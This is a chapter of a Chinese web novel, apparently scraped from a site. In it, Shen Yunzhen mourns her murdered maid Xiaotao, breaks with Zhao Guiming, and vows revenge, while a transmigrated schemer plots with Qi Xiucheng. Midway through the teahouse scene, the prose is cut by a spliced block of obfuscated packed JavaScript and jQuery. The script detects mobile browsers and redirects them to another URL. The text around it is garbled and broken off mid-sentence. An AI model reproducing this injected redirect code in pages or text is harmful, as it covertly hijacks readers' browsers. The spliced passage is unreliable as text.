赵归明走上前,将她从地上扶起。
“先回去。”
他声音压的很低,只有他们两人能听见:“此事虽蹊跷,但眼下不是追究的时候。”
“不是追究的时候?”
沈云珍猛的甩开他的手,声音因压抑的悲痛和愤怒而嘶哑:“那什么时候才是?等她被草草下葬,一切痕迹都被抹平的时候吗?赵归明!这是一条人命!是小桃的命!”
她眼中燃烧着愤怒的焰火,直视着他:“就因为她是郡主,所以即便真是她做的,也会有无数人护着她,对吗?你们权贵之间相互笼络,一条丫鬟的命,又算得了什么?”
“沈云珍!”
赵归明沉声喝止。
“我从未说过不查!但查,不是像你这般当众闹开!在毫无证据的情况下指认郡主,除了打草惊蛇,让你自己陷入更危险的境地,有何益处?”
他上前一步,逼近她:“别忘了,你沈家也是你口中权贵中的一员!”
他双手握住沈云珍的肩,试图将她从被悲伤蒙蔽的理智中摇醒。
“你想想,若真是郡主所为,她何必在自己的宴会上动手,徒惹一身腥臊?若不是她,那动手之人将小桃……目的或许就是为了嫁祸给郡主,亦或是达成别的目的,你此时闹起来,岂不正中他人下怀!”
他的分析冷静理智的近乎残酷,沈云珍不是不明白这些道理,可她听不进去。
她只知道小桃死了,死的不明不白。
而眼前这些人,包括赵归明,都在劝她从长计议,顾全大局……
“我不想管什么目的,什么大局!”
她退后一步,拉开与他的距离,仿佛他是什么可怖的东西。
“我只想知道……是谁害了小桃,我要一个真相!而不是像现在这样,装作什么都没发生!”
她的倔强和悲愤,横隔在两人中间,竖起一道无形的墙壁。
赵归明看着她通红的眼眶和浑身竖起的尖刺,心中也传来细密的刺痛。
他不是不理解她的愤怒和悲哀,可他却更清楚,这背后的暗流有多凶险。
小桃的死,绝非偶然,这更像是一个警告。
他不能再让她涉险,哪怕被误解和憎恨。
最终,他闭了闭眼,再睁开时,眼中只剩下冷静的决断:“此事我会暗中探查,但你,沈云珍,从现在起,不许再插手,更不许独自行动,我会让人送你回府。”
沈云珍难以置信的看着他,心一点点沉入冰窖。
她被几名侍卫强制拉开,送上回沈府的马车。
原来在他心里,权衡利弊,永远排在最前面。
她的感受,她的坚持,甚至一条活生生的人命,都可以为了那个“大局”而暂时搁置。
她不再争辩,只是用那双盈满了水光的眸子,深深的看了他一眼。
除去失望和心寒,还有彻底的疏离。
她转身,挺直脊背,挣开羁着她的两名侍卫,一步一步独自走向马车停靠的方向。
背影单薄,却带着一股宁折不弯的孤绝。
朝阳郡主在众人的簇拥下离去前,回头望了沈云珍的背影一眼,目光复杂难辨。
她低声,似自语,又似说给身边的薛彦青听:“沈云珍……你很有趣,但这里是京城,愿你……能一直如此有趣。”
马车驶离郡主府,厚重的幕帘隔绝了外面的世界。
沈云珍靠在车壁上,方才强撑的力气,瞬间抽空,泪水汹涌而出。
---
回到侯府,沈云珍将自己关在房中。
整整三日,不吃,不喝,不说话,只是不停的翻看着小桃留下的零碎物件。
绣了一半的帕子、藏起来舍不得吃的蜜饯,还有一本沈云珍随手拿给小桃解闷的话本子,上面还用歪歪扭扭的字迹,画了几个记号……
沈擎天夫妇和沈云岚都来看过她,劝慰的话也说了许多,却怎么都无法触及她心底那片冰冷。
第四日,小杏端着一碗几乎未动的清粥,红着眼眶站在门外。
沈云珍哑着嗓子开口,问出了这几日来的第一句话:“小杏……小桃生前,最喜欢的是什么?”
小杏愣了愣,眼泪一下子涌了出来。
她犹豫片刻,哽咽着轻声开口:“小桃最喜欢的……应该是小姐。”
她说,小桃总念叨着小姐和以前不一样了,会教她们识字,会和她们说要当好姐妹,还会不顾危险的去救不相干的人……
“她说,能跟着这样的小姐,是她这辈子最幸运的事。”
话音落下,沉默蔓延开来。
许久,一声压抑着的恸哭,在寂静的房间里爆发出。
沈云珍哭的撕心裂肺。
与此同时,城西一处不起眼的茶楼雅间内,齐修成与一名轻纱遮面的紫衣女子相对而坐。
若是沈云珍在此,定能认出这女子,正是那日在郡主府,引她去见朝阳郡主的那个侍女。
女子端起青瓷茶盏,袅袅升起的热气,晕染了她的眉眼轮廓,却独独遮不住那双眸子里的无情。
“你这招,够狠。”
齐修成把玩着手中的折扇,语气听不出褒贬。
“以赵归明的性子,定会劝阻珍儿闹起来,他们二人之间的这道裂痕,只会越来越大。”
女子轻笑一声:“嫌我狠?齐公子莫不是忘了,沈家是如何对你的?”
齐修成把玩扇子的手一顿。
“如今沈家攀上了赵归明,而沈云珍又成了赵归明的软肋,只要拿捏住她,就等于拿捏住了半个赵家,等他们二人离心离德,我们的计划会进行的更加顺利。”
“只是……”
齐修成皱眉:“珍儿的性子,似乎和从前不太一样了。”
“人总是会变的。”
女子淡淡道。
齐修成的面色沉了下来,不再说话。
女子心中嗤笑,端起茶盏,轻轻吹了吹热气。
这原书的男主,如今看来也不过是个沉溺旧情,优柔寡断的庸人。
好在她需要的,也并非他的决断,只要握着他这张牌,以及他对沈云珍的那份情意……便足够她做许多事了。
不过这沈云珍的性格,倒还真和原书里那个温婉忍让,最终成为了政治牺牲品的女主,大相径庭。
不过再怎么不一样,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174683|196889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
死了贴身多年、情同姐妹的侍女,也不可能无动于衷。
悲伤、猜忌的种子一旦埋下,迟早会生根发芽。
这步棋,她走对了。
只是不知道,她这只穿越而来的蝴蝶,煽动的翅膀,究竟会让这个世界的轨迹偏离多远?
毕竟从她取代原主,成为那个注定要搅动风云的“变数”开始。
这个世界的女主,就应该已经换人了吧?
窗外的秋雨,不知何时又淅淅沥沥的下了起来,敲打着屋檐,声声入耳。
她望向窗外的雨幕,垂下眼帘,遮住眸中一闪而过的算计。
齐修成看向她,眼中有些疑惑:“我总觉得……你似乎很了解我和珍儿。”
女子回过神来:“怎么可能?我不过是通过你的描述,猜测出她有可能做出的反应罢了。”
她含糊过去,转移话题:“你只需要记住,按照计划行事,你想要的,迟早属于你。”
雨越下越大,茶楼外的街道空无一人,雅间里的对话声渐渐低下去,最终淹没在雨声中。
---
郡主府的补偿是在一个秋雨初歇的午后送来的。
四辆青幔马车停在宣武侯府门前,十几个仆从抬着漆木箱笼鱼贯而入。
绫罗绸缎、金银器皿,每一箱都装满了精致华贵之物,显得诚意十足。
小杏站在廊下看着,眼泪无声的淌了满脸。
她想起小桃生前最爱的那对蝴蝶簪子,那还是小姐去年生辰时赏的。
小桃舍不得戴,用帕子小心包着收了起来,说要等小姐出嫁那日再戴上。
如今那对簪子,还压在妆匣的最底层,却再也等不到佩戴它的人了。
“小姐……”
小杏转过身,看见沈云珍不知何时已站在她身后。
沈云珍今日穿着一身素白,发间簪了一支白玉素簪。
秋风吹过廊下,扬起她鬓边的几缕碎发,衬得那张脸愈发的清瘦。
她双目紧紧盯着前方,眼底有看不见的暗流在涌动。
“都抬进去吧。”
沈云珍吩咐道。
“小姐!”
小杏终于忍不住,跪倒在地,抓着沈云珍的裙摆哭喊:“您怎么能收……小桃她……她是被人害死的啊!这些东西就算再珍贵,又怎么能,抵得过小桃的一条命……”
沈云珍垂下眼,看着小杏颤抖的肩膀。
她缓缓蹲下身,扶起小杏,指腹拂过她脸上的泪痕,轻轻擦去。
“小杏,你以为,我不收这些东西,小桃就能活过来吗?”
小杏一愣。
“这些东西……”
沈云珍望向庭院里堆积着的箱笼,目光一寸寸冷下去。
“不是补偿,是凭证!是小桃被害死的凭证!”
她转过身,素白的衣裙在风中扬起。
“该小桃的,谁也少不了。”
她的声音很坚定:“那些人欠她的,我会一笔一笔,全都讨回来!”
小杏看着小姐的背影,忽然打了个寒噤。
她还从未见过这样的小姐,眼神如同深潭,叫人轻易不敢对视。